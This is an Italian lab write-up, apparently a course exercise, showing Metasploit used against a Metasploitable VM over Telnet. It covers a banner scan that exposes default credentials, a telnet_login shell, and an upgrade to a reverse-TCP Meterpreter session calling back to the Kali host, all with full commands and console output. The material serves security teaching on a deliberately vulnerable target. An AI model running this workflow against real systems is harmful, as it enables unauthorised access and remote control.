Exploit Telnet con Metasploit

L’esercizio richiedeva di utilizzare Metasploit per analizzare il servizio Telnet sulla macchina Metasploitable, adoperando il modulo *auxiliary/scanner/telnet/telnet_version*.

1. Scansione del Servizio Telnet

In questa fase iniziale, abbiamo seguito i seguenti passaggi:

- **Avvio della console**: È stata aperta tramite il comando msfconsole
- **Selezione del modulo**: È stato caricato il modulo iniziale con use auxiliary/scanner/telnet/telnet_version
- **Configurazione**: Il parametro RHOSTS è stato impostato sull'indirizzo IP della vittima (**192.168.1.149**).
- **Esecuzione**: Il comando run ha rivelato le credenziali di accesso: **msfadmin/msfadmin**

2. fase di login

Ottenute le potenziali credenziali, siamo passati alla fase operativa di sfruttamento utilizzando il modulo `auxiliary/scanner/telnet/telnet_login`. La configurazione ha previsto

- `set RHOSTS 192.168.1.149`: ha impostato l'indirizzo IP della macchina target (Metasploitable).

- `set USERNAME msfadmin`: Ha inserito lo username ottenuto dalla scansione precedente.
- `set PASSWORD msfadmin`: Ha inserito la password corrispondente.
- `set STOP_ON_SUCCESS true`: Ha attivato l'opzione per fermare il modulo non appena le credenziali risultano corrette.
- `exploit`: Hai avviato l'attacco che ha portato all'apertura della **Sessione 1**.

```
msf auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.1.149:23      - 192.168.1.149:23 TELNET _ _ _ _ _ _ _ _ _ _ _ _ _ _ ____ \x0a _ __ ___  ___| |_ __ _
 |  _/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|__
__|\x0a                                  |_|                                                \x0a\x0a\x0aWarning: Never expose this VM to an untrusted
network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.149:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > exploit
[!] 192.168.1.149:23      - No active DB -- Credential data will not be saved!
[+] 192.168.1.149:23      - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23      - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.140:44113 → 192.168.1.149:23) at 2026-04-14 10:46:09 -0400
[*] 192.168.1.149:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N]  y
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&rea
                                                lm)
   PASSWORD          msfadmin         no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS            192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                                etasploit.html
   RPORT             23               yes       The target port (TCP)
   STOP_ON_SUCCESS   true             yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          msfadmin         no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
```

3. Gestione delle Sessioni e Verifica Manuale.

Tramite il comando `sessions -l`, abbiamo confermato l'esistenza e lo stato attivo della sessione.
In seguito:

- **Test Manuale**: Come richiesto dalla traccia, è stata effettuata una verifica esterna a Metasploit digitando `telnet 192.168.1.149` dal terminale di Kali. L'accesso con le credenziali **msfadmin** ha confermato il controllo della macchina
- `Ctrl+Z` seguito da `y`: è stata messa la sessione in background per poter usare altri moduli di Metasploit senza chiudere la connessione.

```
┌──(kali㉿kali)-[~]
└─$ telnet 192.168.1.149
Trying 192.168.1.149...
Connected to 192.168.1.149.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Tue Apr 14 10:51:17 EDT 2026 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

3. Upgrade a Meterpreter .

- `use post/multi/manage/shell_to_meterpreter`: è stato caricato il modulo specifico per l'upgrade della sessione e in seguito ho controllato le le opzioni con il comando show options
- `set SESSION 1`: Hai indicato a Metasploit di agire sulla sessione Telnet aperta in precedenza.
- `set LHOST 192.168.1.140`: Hai impostato l'indirizzo IP di Kali
- `exploit`: questo comando ha generato la **Sessione 3** di **meterpreter**
- `sessions -i 3`: per entrare nella nuova sessione Meterpreter.
- `sysinfo`: è stato digitato questo comando all'interno di Meterpreter per ottenere le informazioni di sistema

```
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > set lhost 192.168.1.140
lhost => 192.168.1.140
msf post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[-] Shells on the target platform, , cannot be upgraded to Meterpreter at this time.
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.140:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 3 opened (192.168.1.140:4433 → 192.168.1.149:34737) at 2026-04-14 11:01:49 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
```

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============

  Id  Name  Type                   Information                                  Connection
  --  ----  ----                   -----------                                  ----------
  1         shell                  TELNET msfadmin:msfadmin (192.168.1.149:23)  192.168.1.140:44113 → 192.168.1.149:23 (192.168.1.149)
  2         shell                  TELNET msfadmin:msfadmin (192.168.1.149:23)  192.168.1.140:44775 → 192.168.1.149:23 (192.168.1.149)
  3         meterpreter x86/linux  msfadmin @ metasploitable.localdomain        192.168.1.140:4433 → 192.168.1.149:34737 (192.168.1.149
                                                                                 )

msf post(multi/manage/shell_to_meterpreter) > session -i 3
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3 ...

meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >
```